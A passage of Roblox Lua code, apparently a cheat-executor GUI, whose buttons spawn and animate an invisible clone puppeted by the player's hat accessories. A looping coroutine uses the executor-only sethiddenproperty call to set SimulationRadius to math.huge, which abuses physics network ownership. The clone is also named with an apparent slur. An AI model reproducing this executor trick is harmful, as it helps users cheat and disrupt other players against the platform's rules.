		Humanoid.Jumping:connect(onJumping)
		Humanoid.Climbing:connect(onClimbing)
		Humanoid.GettingUp:connect(onGettingUp)
		Humanoid.FreeFalling:connect(onFreeFall)
		Humanoid.FallingDown:connect(onFallingDown)
		Humanoid.Seated:connect(onSeated)
		Humanoid.PlatformStanding:connect(onPlatformStanding)
		Humanoid.Swimming:connect(onSwimming)
 
		-- main program
 
		local runService = game:service("RunService");
 
		-- initialize to idle
		playAnimation("idle", 1, Humanoid)
		pose = "Standing"
 
		while Figure.Parent~=nil do
			local _, time = wait(1)
			move(time)
		end
			end)
end
coroutine.wrap(QMMANRT_fake_script)()
local function UDMGTCD_fake_script() -- WanderingNPC.LocalScript 
	local script = Instance.new('LocalScript', WanderingNPC)
 
	script.Parent.MouseButton1Down:Connect(function()
		wait(1)
		local CurrentPart = nil
	local MaxInc = 60
 
	function onTouched(hit)
		if hit.Parent == nil then
			return
		end
 
		local humanoid = hit.Parent:findFirstChild("Humanoid")
 
		if humanoid == nil then
			CurrentPart = hit
		end
	end
 
	function waitForChild(parent, childName)
		local child = parent:findFirstChild(childName)
 
		if child then
			return child
		end
 
		while true do
			print(childName)
 
			child = parent.ChildAdded:wait()
 
			if child.Name==childName then
				return child
			end
		end
	end
 
	local Figure = game.Workspace.gay
	local Humanoid = waitForChild(Figure, "Humanoid")
	local Torso = waitForChild(Figure, "HumanoidRootPart")
	local Left = waitForChild(Figure, "Left Leg")
	local Right = waitForChild(Figure, "Right Leg")
 
	Humanoid.Jump = true
 
	Left.Touched:connect(onTouched)
	Right.Touched:connect(onTouched)
 
	while true do
		wait(math.random(2, 6))
 
		if CurrentPart ~= nil then
			if math.random(5, 7) == 1 then
				Humanoid.Jump = true
			end
 
			Humanoid:MoveTo(Torso.Position + Vector3.new(math.random(-MaxInc, MaxInc), 0, math.random(-MaxInc, MaxInc)), CurrentPart)
		end
	end
	end)
end
coroutine.wrap(UDMGTCD_fake_script)()
local function IOYV_fake_script() -- ClearNPCS.LocalScript 
	local script = Instance.new('LocalScript', ClearNPCS)
 
		script.Parent.MouseButton1Down:Connect(function()
			game.Workspace.gay:Destroy()
		end)
end
coroutine.wrap(IOYV_fake_script)()
local function AKTO_fake_script() -- SpawnNPC.LocalScript 
	local script = Instance.new('LocalScript', SpawnNPC)
 
		script.Parent.MouseButton1Down:Connect(function()
		local unanchoredparts = {}
		local movers = {}
		 local tog = true
		 local move = false
		 local toggle2 = true
		local Player = game:GetService("Players").LocalPlayer
		local Character = Player.Character
		local mov = {};
		local mov2 = {};
		local head = Character:WaitForChild("BakonHead")
		local Hats = { torso1 = Character:WaitForChild("No Speak Monkey"),
		              torso2 = Character:WaitForChild("Kate Hair"),
		              rightarm = Character:WaitForChild("Hat1"),
		             leftarm = Character:WaitForChild("Pal Hair"),
		             rightleg = Character:WaitForChild("LavanderHair"),
		             leftleg = Character:WaitForChild("Pink Hair"),
		}
		head.Handle.AccessoryWeld:Remove()
		head.Handle.HatAttachment:Remove()
		for i,v in next, Hats do
		v.Handle.AccessoryWeld:Remove()
		for _,mesh in next, v:GetDescendants() do
		if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
		mesh:Remove()
		end
		end
		end
		local Network = coroutine.create(function()
		while true do
		game:GetService("RunService").Heartbeat:Wait()
		settings().Physics.AllowSleep = false
		sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
		sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
		end
		end)
		coroutine.resume(Network)
 
		function ftp(str)
		    local pt = {};
		    if str ~= 'me' and str ~= 'random' then
		        for i, v in pairs(game.Players:GetPlayers()) do
		            if v.Name:lower():find(str:lower()) then
		                table.insert(pt, v);
		            end
		        end
		    elseif str == 'me' then
		        table.insert(pt, plr);
			elseif str == 'random' then
				table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
		    end
		    return pt;
		end
 
		local function align(i,v)
		local att0 = Instance.new("Attachment", i)
		att0.Position = Vector3.new(0,0,0)
		local att1 = Instance.new("Attachment", v)
		att1.Position = Vector3.new(0,0,0)
		local AP = Instance.new("AlignPosition", i)
		AP.Attachment0 = att0
		AP.Attachment1 = att1
		AP.RigidityEnabled = false
		AP.ReactionForceEnabled = false
		AP.ApplyAtCenterOfMass = true
		AP.MaxForce = 9999999
		AP.MaxVelocity = math.huge
		AP.Responsiveness = 65
		local AO = Instance.new("AlignOrientation", i)
		AO.Attachment0 = att0
		AO.Attachment1 = att1
		AO.ReactionTorqueEnabled = true
		AO.PrimaryAxisOnly = false
		AO.MaxTorque = 9999999
		AO.MaxAngularVelocity = math.huge
		AO.Responsiveness = 50
		end
 
		Character.Archivable = true
		local clone = Character:Clone()
		clone.Parent = workspace
		clone.Name = "gay"
		clone.Head.face:Destroy()
 
		align(head.Handle, clone["Head"])
		align(Hats.torso1.Handle, clone["Torso"])
		align(Hats.torso2.Handle, clone["Torso"])
		align(Hats.rightarm.Handle, clone["Right Arm"])
		align(Hats.leftarm.Handle, clone["Left Arm"])
		align(Hats.rightleg.Handle, clone["Right Leg"])
		align(Hats.leftleg.Handle, clone["Left Leg"])
 
		head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
		Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
		clone:WaitForChild("Head"):FindFirstChild("Attachment").Name = "headattachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso1attachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso2attachment"
		clone:WaitForChild("Right Arm"):FindFirstChild("Attachment").Name = "rightarmattachment"
		clone:WaitForChild("Left Arm"):FindFirstChild("Attachment").Name = "leftarmattachment"
		clone:WaitForChild("Right Leg"):FindFirstChild("Attachment").Name = "rightlegattachment"
		clone:WaitForChild("Left Leg"):FindFirstChild("Attachment").Name = "leftlegattachment"
 
		clone:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, 0.5, -0)
		clone:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -0.5, -0)
 
		clone:FindFirstChild("Kate Hair"):Destroy()
		clone:FindFirstChild("Hat1"):Destroy()
		clone:FindFirstChild("LavanderHair"):Destroy()
		clone:FindFirstChild("Pink Hair"):Destroy()
		clone:FindFirstChild("Pal Hair"):Destroy()
		clone:FindFirstChild("BakonHead"):Destroy()
		clone:FindFirstChild("No Speak Monkey"):Destroy()
 
		clone:FindFirstChild("Head").Transparency = 1
		clone:FindFirstChild("Torso").Transparency = 1
		clone:FindFirstChild("Right Arm").Transparency = 1
		clone:FindFirstChild("Left Arm").Transparency = 1
		clone:FindFirstChild("Right Leg").Transparency = 1
		clone:FindFirstChild("Left Leg").Transparency = 1
 
 
		if Character.Humanoid.Health == 0 then
				    game.Workspace.gay:Destroy()
				end
 
			function   waitForChild(parent, childName)
			local child = parent:findFirstChild(childName)
			if child then return child end
			while true do
				child = parent.ChildAdded:wait()
				if child.Name==childName then return child end
			end
		end
 
		local Figure = game.Workspace.gay
		local Torso = waitForChild(Figure, "Torso")
		local RightShoulder = waitForChild(Torso, "Right Shoulder")
		local LeftShoulder = waitForChild(Torso, "Left Shoulder")
		local RightHip = waitForChild(Torso, "Right Hip")
		local LeftHip = waitForChild(Torso, "Left Hip")
		local Neck = waitForChild(Torso, "Neck")
		local Humanoid = waitForChild(Figure, "Humanoid")
		local pose = "Standing"
 
		local currentAnim = ""
		local currentAnimTrack = nil
		local currentAnimKeyframeHandler = nil
		local oldAnimTrack = nil
		local animTable = {}
		local animNames = { 
			idle = 	{	
						{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
						{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
					},
			walk = 	{ 	
						{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } 
					}, 
			run = 	{
						{ id = "run.xml", weight = 10 } 
					}, 
			jump = 	{
						{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } 
					}, 
			fall = 	{
						{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } 
					}, 
			climb = {
						{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } 
					}, 
			toolnone = {
						{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } 
					},
			toolslash = {
						{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } 
		--				{ id = "slash.xml", weight = 10 } 
					},
			toollunge = {
						{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } 
					},
			wave = {
						{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } 
					},
			point = {
						{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } 
					},
			dance = {
						{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } 
					},
			laugh = {
						{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } 
					},
			cheer = {
						{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } 
					},
		}
 
		-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
		local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
 
		math.randomseed(tick())
 
		-- Setup animation objects
		for name, fileList in pairs(animNames) do 
			animTable[name] = {}
			animTable[name].count = 0
			animTable[name].totalWeight = 0
 
			-- check for config values
			local config = script:FindFirstChild(name)
			if (config ~= nil) then
		--		print("Loading anims " .. name)
				local idx = 1
				for _, childPart in pairs(config:GetChildren()) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = childPart
					local weightObject = childPart:FindFirstChild("Weight")
					if (weightObject == nil) then
						animTable[name][idx].weight = 1
					else
						animTable[name][idx].weight = weightObject.Value
					end
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
		--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
					idx = idx + 1
				end
			end
 
			-- fallback to defaults
			if (animTable[name].count <= 0) then
				for idx, anim in pairs(fileList) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = Instance.new("Animation")
					animTable[name][idx].anim.Name = name
					animTable[name][idx].anim.AnimationId = anim.id
					animTable[name][idx].weight = anim.weight
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		--			print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
				end
			end
		end
 
		-- ANIMATION
 
		-- declarations
		local toolAnim = "None"
		local toolAnimTime = 0
 
		local jumpAnimTime = 0
		local jumpAnimDuration = 0.175
 
		local toolTransitionTime = 0.1
		local fallTransitionTime = 0.2
		local jumpMaxLimbVelocity = 0.75
 
		-- functions
 
		function stopAllAnimations()
			local oldAnim = currentAnim
 
			-- return to idle if finishing an emote
			if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
				oldAnim = "idle"
			end
 
			currentAnim = ""
			if (currentAnimKeyframeHandler ~= nil) then
				currentAnimKeyframeHandler:disconnect()
			end
 
			if (oldAnimTrack ~= nil) then
				oldAnimTrack:Stop()
				oldAnimTrack:Destroy()
				oldAnimTrack = nil
			end
			if (currentAnimTrack ~= nil) then
				currentAnimTrack:Stop()
				currentAnimTrack:Destroy()
				currentAnimTrack = nil
			end
			return oldAnim
		end
 
		local function keyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopAllAnimations()
				playAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
		-- Preload animations
		function playAnimation(animName, transitionTime, humanoid)
			if (animName ~= currentAnim) then		 
 
				if (oldAnimTrack ~= nil) then
					oldAnimTrack:Stop()
					oldAnimTrack:Destroy()
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				oldAnimTrack = currentAnimTrack
				currentAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				currentAnimTrack:Play(transitionTime)
				currentAnim = animName
 
				-- set up keyframe name triggers
				if (currentAnimKeyframeHandler ~= nil) then
					currentAnimKeyframeHandler:disconnect()
				end
				currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
			end
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
		local toolAnimName = ""
		local toolOldAnimTrack = nil
		local toolAnimTrack = nil
		local currentToolAnimKeyframeHandler = nil
 
		local function toolKeyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopToolAnimations()
				playToolAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
 
		function playToolAnimation(animName, transitionTime, humanoid)
			if (animName ~= toolAnimName) then		 
 
				if (toolAnimTrack ~= nil) then
					toolAnimTrack:Stop()
					toolAnimTrack:Destroy()
					transitionTime = 0
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				toolOldAnimTrack = toolAnimTrack
				toolAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				toolAnimTrack:Play(transitionTime)
				toolAnimName = animName
 
				currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
			end
		end
 
		function stopToolAnimations()
			local oldAnim = toolAnimName
 
			if (currentToolAnimKeyframeHandler ~= nil) then
				currentToolAnimKeyframeHandler:disconnect()
			end
 
			toolAnimName = ""
			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				toolAnimTrack = nil
			end
 
 
			return oldAnim
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
 
		function onRunning(speed)
			if speed>0 then
				playAnimation("walk", 0.1, Humanoid)
				pose = "Running"
			else
				playAnimation("idle", 0.1, Humanoid)
				pose = "Standing"
			end
		end
 
		function onDied()
			pose = "Dead"
		end
 
		function onJumping()
			playAnimation("jump", 0.1, Humanoid)
			jumpAnimTime = jumpAnimDuration
			pose = "Jumping"
		end
 
		function onClimbing()
			playAnimation("climb", 0.1, Humanoid)
			pose = "Climbing"
		end
 
		function onGettingUp()
			pose = "GettingUp"
		end
 
		function onFreeFall()
			if (jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			end
			pose = "FreeFall"
		end
 
		function onFallingDown()
			pose = "FallingDown"
		end
 
		function onSeated()
			pose = "Seated"
		end
 
		function onPlatformStanding()
			pose = "PlatformStanding"
		end
 
		function onSwimming(speed)
			if speed>0 then
				pose = "Running"
			else
				pose = "Standing"
			end
		end
 
		local function getTool()	
			for _, kid in ipairs(Figure:GetChildren()) do
				if kid.className == "Tool" then return kid end
			end
			return nil
		end
 
		local function getToolAnim(tool)
			for _, c in ipairs(tool:GetChildren()) do
				if c.Name == "toolanim" and c.className == "StringValue" then
					return c
				end
			end
			return nil
		end
 
		local function animateTool()
 
			if (toolAnim == "None") then
				playToolAnimation("toolnone", toolTransitionTime, Humanoid)
				return
			end
 
			if (toolAnim == "Slash") then
				playToolAnimation("toolslash", 0, Humanoid)
				return
			end
 
			if (toolAnim == "Lunge") then
				playToolAnimation("toollunge", 0, Humanoid)
				return
			end
		end
 
		local function moveSit()
			RightShoulder.MaxVelocity = 0.15
			LeftShoulder.MaxVelocity = 0.15
			RightShoulder:SetDesiredAngle(3.14 /2)
			LeftShoulder:SetDesiredAngle(-3.14 /2)
			RightHip:SetDesiredAngle(3.14 /2)
			LeftHip:SetDesiredAngle(-3.14 /2)
		end
 
		local lastTick = 0
 
		function move(time)
			local amplitude = 1
			local frequency = 1
		  	local deltaTime = time - lastTick
		  	lastTick = time
 
			local climbFudge = 0
			local setAngles = false
 
		  	if (jumpAnimTime > 0) then
		  		jumpAnimTime = jumpAnimTime - deltaTime
		  	end
 
			if (pose == "FreeFall" and jumpAnimTime <= 0) then
				playAnimation("fall", fallTransitionTime, Humanoid)
			elseif (pose == "Seated") then
				stopAllAnimations()
				moveSit()
				return
			elseif (pose == "Running") then
				playAnimation("walk", 0.1, Humanoid)
			elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		--		print("Wha " .. pose)
				amplitude = 0.1
				frequency = 1
				setAngles = true
			end
 
			if (setAngles) then
				local desiredAngle = amplitude * math.sin(time * frequency)
 
				RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
				LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
				RightHip:SetDesiredAngle(-desiredAngle)
				LeftHip:SetDesiredAngle(-desiredAngle)
			end
 
			-- Tool Animation handling
			local tool = getTool()
			if tool then
 
				local animStringValueObject = getToolAnim(tool)
 
				if animStringValueObject then
					toolAnim = animStringValueObject.Value
					-- message recieved, delete StringValue
					animStringValueObject.Parent = nil
					toolAnimTime = time + .3
				end
 
				if time > toolAnimTime then
					toolAnimTime = 0
					toolAnim = "None"
				end
 
				animateTool()		
			else
				stopToolAnimations()
				toolAnim = "None"
				toolAnimTime = 0
			end
		end
 
		-- connect events
		Humanoid.Died:connect(onDied)
		Humanoid.Running:connect(onRunning)
		Humanoid.Jumping:connect(onJumping)
		Humanoid.Climbing:connect(onClimbing)
		Humanoid.GettingUp:connect(onGettingUp)
		Humanoid.FreeFalling:connect(onFreeFall)
		Humanoid.FallingDown:connect(onFallingDown)
		Humanoid.Seated:connect(onSeated)
		Humanoid.PlatformStanding:connect(onPlatformStanding)
		Humanoid.Swimming:connect(onSwimming)
 
		-- main program
 
		local runService = game:service("RunService");
 
		-- initialize to idle
		playAnimation("idle", 1, Humanoid)
		pose = "Standing"
 
		while Figure.Parent~=nil do
			local _, time = wait(1)
			move(time)
		end
			end)
end
coroutine.wrap(AKTO_fake_script)()
local function NQXG_fake_script() -- FollowingNPC.LocalScript 
	local script = Instance.new('LocalScript', FollowingNPC)
 
		script.Parent.MouseButton1Down:Connect(function()
		local unanchoredparts = {}
		local movers = {}
		 local tog = true
		 local move = false
		 local toggle2 = true
		local Player = game:GetService("Players").LocalPlayer
		local Character = Player.Character
		local mov = {};
		local mov2 = {};
		local head = Character:WaitForChild("BakonHead")
		local Hats = { torso1 = Character:WaitForChild("No Speak Monkey"),
		              torso2 = Character:WaitForChild("Kate Hair"),
		              rightarm = Character:WaitForChild("Hat1"),
		             leftarm = Character:WaitForChild("Pal Hair"),
		             rightleg = Character:WaitForChild("LavanderHair"),
		             leftleg = Character:WaitForChild("Pink Hair"),
		}
		head.Handle.AccessoryWeld:Remove()
		head.Handle.HatAttachment:Remove()
		for i,v in next, Hats do
		v.Handle.AccessoryWeld:Remove()
		for _,mesh in next, v:GetDescendants() do
		if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
		mesh:Remove()
		end
		end
		end
		local Network = coroutine.create(function()
		while true do
		game:GetService("RunService").Heartbeat:Wait()
		settings().Physics.AllowSleep = false
		sethiddenproperty(game.Players.LocalPlayer, "MaximumSimulationRadius", math.huge)
		sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
		end
		end)
		coroutine.resume(Network)
 
		function ftp(str)
		    local pt = {};
		    if str ~= 'me' and str ~= 'random' then
		        for i, v in pairs(game.Players:GetPlayers()) do
		            if v.Name:lower():find(str:lower()) then
		                table.insert(pt, v);
		            end
		        end
		    elseif str == 'me' then
		        table.insert(pt, plr);
			elseif str == 'random' then
				table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
		    end
		    return pt;
		end
 
		local function align(i,v)
		local att0 = Instance.new("Attachment", i)
		att0.Position = Vector3.new(0,0,0)
		local att1 = Instance.new("Attachment", v)
		att1.Position = Vector3.new(0,0,0)
		local AP = Instance.new("AlignPosition", i)
		AP.Attachment0 = att0
		AP.Attachment1 = att1
		AP.RigidityEnabled = false
		AP.ReactionForceEnabled = false
		AP.ApplyAtCenterOfMass = true
		AP.MaxForce = 9999999
		AP.MaxVelocity = math.huge
		AP.Responsiveness = 65
		local AO = Instance.new("AlignOrientation", i)
		AO.Attachment0 = att0
		AO.Attachment1 = att1
		AO.ReactionTorqueEnabled = true
		AO.PrimaryAxisOnly = false
		AO.MaxTorque = 9999999
		AO.MaxAngularVelocity = math.huge
		AO.Responsiveness = 50
		end
 
		Character.Archivable = true
		local clone = Character:Clone()
		clone.Parent = workspace
		clone.Name = "gay"
		clone.Head.face:Destroy()
 
		align(head.Handle, clone["Head"])
		align(Hats.torso1.Handle, clone["Torso"])
		align(Hats.torso2.Handle, clone["Torso"])
		align(Hats.rightarm.Handle, clone["Right Arm"])
		align(Hats.leftarm.Handle, clone["Left Arm"])
		align(Hats.rightleg.Handle, clone["Right Leg"])
		align(Hats.leftleg.Handle, clone["Left Leg"])
 
		head.Handle.Attachment.Rotation = Vector3.new(0,0,0)
		Hats.torso1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.torso2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
		Hats.rightarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftarm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.rightleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
		Hats.leftleg.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
		clone:WaitForChild("Head"):FindFirstChild("Attachment").Name = "headattachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso1attachment"
		clone:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "torso2attachment"
		clone:WaitForChild("Right Arm"):FindFirstChild("Attachment").Name = "rightarmattachment"
		clone:WaitForChild("Left Arm"):FindFirstChild("Attachment").Name = "leftarmattachment"
		clone:WaitForChild("Right Leg"):FindFirstChild("Attachment").Name = "rightlegattachment"
		clone:WaitForChild("Left Leg"):FindFirstChild("Attachment").Name = "leftlegattachment"
 
		clone:WaitForChild("Torso").torso1attachment.Position = Vector3.new(-0, 0.5, -0)
		clone:WaitForChild("Torso").torso2attachment.Position = Vector3.new(-0, -0.5, -0)
 
		clone:FindFirstChild("Kate Hair"):Destroy()
		clone:FindFirstChild("Hat1"):Destroy()
		clone:FindFirstChild("LavanderHair"):Destroy()
		clone:FindFirstChild("Pink Hair"):Destroy()
		clone:FindFirstChild("Pal Hair"):Destroy()
		clone:FindFirstChild("BakonHead"):Destroy()
		clone:FindFirstChild("No Speak Monkey"):Destroy()
 
		clone:FindFirstChild("Head").Transparency = 1
		clone:FindFirstChild("Torso").Transparency = 1
		clone:FindFirstChild("Right Arm").Transparency = 1
		clone:FindFirstChild("Left Arm").Transparency = 1
		clone:FindFirstChild("Right Leg").Transparency = 1
		clone:FindFirstChild("Left Leg").Transparency = 1
 
 
		if Character.Humanoid.Health == 0 then
				    game.Workspace.gay:Destroy()
				end
 
			function   waitForChild(parent, childName)
			local child = parent:findFirstChild(childName)
			if child then return child end
			while true do
				child = parent.ChildAdded:wait()
				if child.Name==childName then return child end
			end
		end
 
		local Figure = game.Workspace.gay
		local Torso = waitForChild(Figure, "Torso")
		local RightShoulder = waitForChild(Torso, "Right Shoulder")
		local LeftShoulder = waitForChild(Torso, "Left Shoulder")
		local RightHip = waitForChild(Torso, "Right Hip")
		local LeftHip = waitForChild(Torso, "Left Hip")
		local Neck = waitForChild(Torso, "Neck")
		local Humanoid = waitForChild(Figure, "Humanoid")
		local pose = "Standing"
 
		local currentAnim = ""
		local currentAnimTrack = nil
		local currentAnimKeyframeHandler = nil
		local oldAnimTrack = nil
		local animTable = {}
		local animNames = { 
			idle = 	{	
						{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
						{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
					},
			walk = 	{ 	
						{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } 
					}, 
			run = 	{
						{ id = "run.xml", weight = 10 } 
					}, 
			jump = 	{
						{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } 
					}, 
			fall = 	{
						{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } 
					}, 
			climb = {
						{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } 
					}, 
			toolnone = {
						{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } 
					},
			toolslash = {
						{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } 
		--				{ id = "slash.xml", weight = 10 } 
					},
			toollunge = {
						{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } 
					},
			wave = {
						{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } 
					},
			point = {
						{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } 
					},
			dance = {
						{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, 
						{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } 
					},
			laugh = {
						{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } 
					},
			cheer = {
						{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } 
					},
		}
 
		-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
		local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
 
		math.randomseed(tick())
 
		-- Setup animation objects
		for name, fileList in pairs(animNames) do 
			animTable[name] = {}
			animTable[name].count = 0
			animTable[name].totalWeight = 0
 
			-- check for config values
			local config = script:FindFirstChild(name)
			if (config ~= nil) then
		--		print("Loading anims " .. name)
				local idx = 1
				for _, childPart in pairs(config:GetChildren()) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = childPart
					local weightObject = childPart:FindFirstChild("Weight")
					if (weightObject == nil) then
						animTable[name][idx].weight = 1
					else
						animTable[name][idx].weight = weightObject.Value
					end
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
		--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
					idx = idx + 1
				end
			end
 
			-- fallback to defaults
			if (animTable[name].count <= 0) then
				for idx, anim in pairs(fileList) do
					animTable[name][idx] = {}
					animTable[name][idx].anim = Instance.new("Animation")
					animTable[name][idx].anim.Name = name
					animTable[name][idx].anim.AnimationId = anim.id
					animTable[name][idx].weight = anim.weight
					animTable[name].count = animTable[name].count + 1
					animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		--			print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
				end
			end
		end
 
		-- ANIMATION
 
		-- declarations
		local toolAnim = "None"
		local toolAnimTime = 0
 
		local jumpAnimTime = 0
		local jumpAnimDuration = 0.175
 
		local toolTransitionTime = 0.1
		local fallTransitionTime = 0.2
		local jumpMaxLimbVelocity = 0.75
 
		-- functions
 
		function stopAllAnimations()
			local oldAnim = currentAnim
 
			-- return to idle if finishing an emote
			if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
				oldAnim = "idle"
			end
 
			currentAnim = ""
			if (currentAnimKeyframeHandler ~= nil) then
				currentAnimKeyframeHandler:disconnect()
			end
 
			if (oldAnimTrack ~= nil) then
				oldAnimTrack:Stop()
				oldAnimTrack:Destroy()
				oldAnimTrack = nil
			end
			if (currentAnimTrack ~= nil) then
				currentAnimTrack:Stop()
				currentAnimTrack:Destroy()
				currentAnimTrack = nil
			end
			return oldAnim
		end
 
		local function keyFrameReachedFunc(frameName)
			if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
				local repeatAnim = stopAllAnimations()
				playAnimation(repeatAnim, 0.0, Humanoid)
			end
		end
 
		-- Preload animations
		function playAnimation(animName, transitionTime, humanoid)
			if (animName ~= currentAnim) then		 
 
				if (oldAnimTrack ~= nil) then
					oldAnimTrack:Stop()
					oldAnimTrack:Destroy()
				end
 
				local roll = math.random(1, animTable[animName].totalWeight) 
				local origRoll = roll
				local idx = 1
				while (roll > animTable[animName][idx].weight) do
					roll = roll - animTable[animName][idx].weight
					idx = idx + 1
				end
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
				local anim = animTable[animName][idx].anim
 
				-- load it to the humanoid; get AnimationTrack
				oldAnimTrack = currentAnimTrack
				currentAnimTrack = humanoid:LoadAnimation(anim)
 
				-- play the animation
				currentAnimTrack:Play(transitionTime)
				currentAnim = animName
 
				-- set up keyframe name triggers
				if (currentAnimKeyframeHandler ~= nil) then
					currentAnimKeyframeHandler:disconnect()
				end
				currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
			end
		end
 
		-------------------------------------------------------------------------------------------
		-------------------------------------------------------------------------------------------
 
		local toolAnimName = ""
		local toolOldAnimTrack = nil
		local toolAnimTrack = nil
